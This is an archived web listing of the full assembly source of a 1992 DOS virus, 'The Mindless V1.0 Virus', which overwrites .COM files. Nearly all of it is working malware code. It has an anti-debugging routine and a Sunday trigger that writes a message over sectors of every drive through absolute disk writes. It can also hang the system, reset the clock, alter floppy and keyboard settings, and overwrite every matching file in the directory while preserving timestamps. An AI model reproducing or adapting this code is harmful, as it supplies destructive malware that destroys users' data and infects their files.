home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MINDLESS.ASM < prev    next >
Assembly Source File  |  1992-11-04  |  6KB  |  228 lines

  1. ;    The Mindless V1.0 Virus 
  2. ;
  3. ;    Type:  *.COM Overwriter
  4. ;
  5. ;    Programmer:  Natas Kaupas
  6.  
  7. ;    Notes:
  8. ;
  9. ;        Read the texts that come with this for all of the necessary 
  10. ;    info...if you've got any questions contact me on any YAM Dist. Sites.
  11. ;
  12. ;    I Couldn't Have Made This Without:
  13. ;
  14. ;    Soltan Griss        -Kode4
  15. ;    Data Disruptor        -encrypted part
  16. ;    Mr. Mike        -typematic delay thing    
  17. ;    And Everyone I Forgot!
  18.  
  19. seg_a       segment byte public
  20.         assume  cs:seg_a, ds:seg_a
  21.         org     100h
  22.  
  23.  
  24. MINDL           proc    far       
  25. start           label   near               
  26.         db    0E9h,00h,00h
  27.         
  28. vstart        equ    $
  29.  
  30.     mov    cx,09EBh        ;debug killer
  31.     mov    ax,0FE05h        ;
  32.     jmp    $-2            ;
  33.     add    ah,03Bh            ;
  34.     jmp    $-10            ;
  35.  
  36.         push    ds           ;save old data segment
  37.         sub     ax,ax        ;put zero in ax
  38.         push    ax           ;save it on stack
  39.  
  40.     mov    ah,2ah            ;get date
  41.     int    21h
  42.     cmp    al,0            ;is it a Sunday?
  43.     jne    rater            ;no...don't format then
  44.  
  45. doom:
  46.     mov    ax,3301h        ;turn off ^C Check
  47.     xor    dl,dl            ;0
  48.     int    21h
  49.  
  50.     mov    cx,lident        ;this all has to do with the encrypted
  51.     mov    si,offset ident        ;message
  52.     mov    di,offset dest        ;
  53. doshit:
  54.     mov    al,ds:[si]            ;unencrypt message
  55.     mov    temp,al                ;
  56.     xor    byte ptr ds:[temp],01h        ;
  57.     mov    al,temp                ;
  58.     mov    [di],al                ;
  59.     inc    si                ;
  60.     inc    di                ;
  61.     loop    doshit                ;loop back and finish it
  62. doomb:
  63.     cmp    drive,27        ;format all drives
  64.     jge    boot            ;done...then end (boot)
  65.     pushf                ;push flags on
  66.     mov    al,drive        ;find drive
  67.     mov    cx,sectors        ;find sectors
  68.     mov    dx,0            ;start at sector 0
  69.     mov    bx,offset dest        ;write encrypted message
  70.     int    26h            ;format
  71.     popf                ;pop flags off
  72.     inc    drive            ;go up to next drive
  73.     jmp    doomb            ;repeat
  74.  
  75. ;this was originally going to boot...but for some reason it couldn't format in 
  76. ;time (before the boot), so it didn't format...oh well.
  77.  
  78. boot:
  79.     mov    dl,2ch        ;get system time
  80.     int    21h
  81.     and    dl,0Fh        ;AND 100th seconds by 0Fh
  82.     or    dl,dl        ;0?
  83.     jz    locker        ;yes..then lock up system
  84.  
  85.     mov    cx,1980            ;date, 1980
  86.     mov    dx,0            ;mon/day, 0
  87.     mov    ah,2Bh            ;set date
  88.     int    21h
  89.     mov    cx,0            ;hrs/min, 0
  90.     mov    dx,0            ;sec, 0
  91.     mov    ah,2Dh            ;set time
  92.     int    21h
  93.     mov    ax,3301h        ;turn ^C Check back on
  94.     mov    dl,1            ;1
  95.     int    21h
  96.     mov    ax,4c00h        ;end with error message 00
  97.     int    21h
  98.  
  99. locker:
  100.     jmp    $            ;lock up computer    
  101.  
  102. rater:
  103.     mov    al,dl
  104.     mov    dl,0c0h        ;unkown ms, really grinds on mine though!
  105.     jz    valid        ;it must be around 15ms
  106.                 ;which is slow considering default is 9ms
  107.                 ;and most floppies can actually go under 6ms
  108.  
  109. valid:
  110.         push    ds           ;Save the data segment
  111.         mov     bx,78h       ;point to pointer for floppy drive tables
  112.         mov     ax,0
  113.         mov     ds,ax        ;set to segment 0
  114.         mov     ax,[bx]      ;get the pointer
  115.         mov     bx,ax        ;into the bx register
  116.         mov     al,[bx]      ;now get the present step rate
  117.         and     al,0fh       ;remove the old step rate
  118.         or      al,dl        ;put in the new step rate
  119.         mov     [bx],al      ;and put it back where it goes
  120.         mov     ah,0         ;now call on the BIOS to
  121.         int     13h          ;reload the set floppy disk controller
  122.         pop     ds           ;Reset the Data Segment
  123.  
  124. go_on:
  125.  
  126.     push    ds        ;save present data segment
  127.  
  128.     mov    bx,78h        ;point to pointer for floppy drive tables
  129.     mov    ax,0
  130.     mov    ds,ax        ;set to segment 0
  131.     mov    ax,[bx]        ;get the pointer
  132.     mov    bx,ax        ;into the bx register
  133.     mov    al,[bx]        ;now get the step rate
  134.     pop    ds
  135.     push    ax        ;save the step rate on the stack
  136.  
  137.  
  138. typematic:
  139.     mov    bl,repeat        ;get the parameters
  140.     mov    bh,init            ;
  141.     mov    ax,305h            ;set typematic rate and delay
  142.     int    16h            ;
  143.     xor    al,al            ;errorlevel = 0
  144.  
  145. n_start:    mov     ah,4Eh             ;Find first Com file in directory  
  146.         mov     dx,offset filename ;use "*.com"     
  147.         int     21h                
  148.                       
  149. Back:                                       
  150.         mov     ah,43h              ;get rid of read only protection
  151.         mov     al,0            ;    
  152.         mov     dx,9eh            ;
  153.         int     21h            ;    
  154.         mov     ah,43h            ;
  155.         mov     al,01            ;
  156.         and     cx,11111110b        ;
  157.         int     21h            ;
  158.         
  159.         mov     ax,3D01h           ;Open file for writing
  160.         mov     dx,9Eh             ;get file name from file data area
  161.         int     21h                  
  162.                           
  163.         mov     bx,ax               ;save handle in bx
  164.         mov     ah,57h              ;get time date
  165.         mov     al,0
  166.         int     21h
  167.         
  168.         push    cx                  ;put in stack for later
  169.         push    dx
  170.  
  171.  
  172.         mov     dx,100h            ;Start writing at 100h
  173.         mov     cx,(vend-vstart)        ;write ?? bytes
  174.         mov     ah,40h             ;Write Data into the file
  175.         int     21h                   
  176.                           
  177.                           
  178.         pop     dx                 ;Restore old dates and times 
  179.         pop     cx
  180.         mov     ah,57h
  181.         mov     al,01h
  182.         int     21h
  183.  
  184.  
  185.  
  186.         mov     ah,3Eh             ;Close the file
  187.         int     21h                   
  188.                            
  189.         mov     ah,4Fh             ;Find Next file
  190.         int     21h                    
  191.                         
  192.         jnc     Back               
  193.  
  194. done:    
  195.  
  196.            int     20h                ;Terminate Program
  197.  
  198. V_Length        equ     vend-vstart
  199.  
  200. drive    db    ?
  201. sectors    dw    456
  202.  
  203. filename        db      "*.c*",0                     
  204.  
  205. ident    db    "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
  206.     db    "Uid!Lhoemdrr!Whstr!w0/1!",13,10
  207.  
  208. ;encrypted message:
  209. ;ident    db    "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
  210. ;    db    "The Mindless Virus v1.0 ",13,10
  211.  
  212. lident    equ    $-ident
  213. dest    db    [lident-1/2] dup (?)
  214. temp    db    0
  215.  
  216. repeat        equ    250
  217. init        equ    0
  218.  
  219. mindl           endp
  220.  
  221. vend        equ    $
  222.  
  223. seg_a           ends
  224.  
  225.         end     start
  226.  
  227.  
  228.